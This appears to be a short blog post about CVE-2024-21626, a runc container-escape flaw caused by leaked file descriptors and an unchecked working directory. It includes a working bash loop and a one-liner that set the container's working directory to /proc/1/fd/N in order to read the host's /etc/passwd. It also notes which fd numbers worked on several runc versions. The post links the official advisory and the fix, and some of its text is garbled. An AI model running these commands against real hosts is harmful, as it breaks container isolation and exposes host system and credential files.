environment:runc <=1.1.11
Attack details:
In affected versions of runc, some internal file descriptors are leaked during initialization, including handles to the host's /sys/fs/cgroup, and runc does not verify that the final working directory is in the container's mount namespace. An attacker can modify the configuration of process.cwd to /proc/self/fd/7 or replace the specific path passed in the --cwd parameter when the host calls runc exec with a /proc/self/fd/7/ symbolic link, thereby allowing the process in the container to access and operate the host's file system, thereby bypassing the container's isolation mechanism.
More details (gif image):

Attackers use homemade docker-poc package for attack and exploitationCVE-2024-21626 runc process.cwd and leaked fds container breach | Snyk (snyk.io)
The docker-image has not yet been open sourced on the public network
Official source code modification logic:Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
CVE: CVE - CVE-2024-21626 (mitre.org)
The exploiter of this vulnerability:CVE-2024-21626 runc process.cwd and leaked fds container breach | Snyk (snyk.io)
The actual fd may change depending on the file opening order. You can use the following script to blast using
#!/bin/bash
循环从 3 到 10
for i in {3..10}
do
# 使用变量构造工作目录,并运行容器
docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd
done
Local test successful:
fd/9 implements runc-version: 1.1.10 1.1.2
.jpg)
When runc --version is 1.0.0, the vulnerability is difficult to implement

fd/8 implementation when runc --version is 1.1.4
.png)
Just got out of the hole today
More details below
You can reproduce it in the following ways
runc - input manual breakpoint compilation
ebpf monitors runc breakpoints
runc create demo
runc exec demo ls /proc/1/fd -a can directly see the corresponding symbolic link
docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd Explode
Comments (0)
Login to post a comment.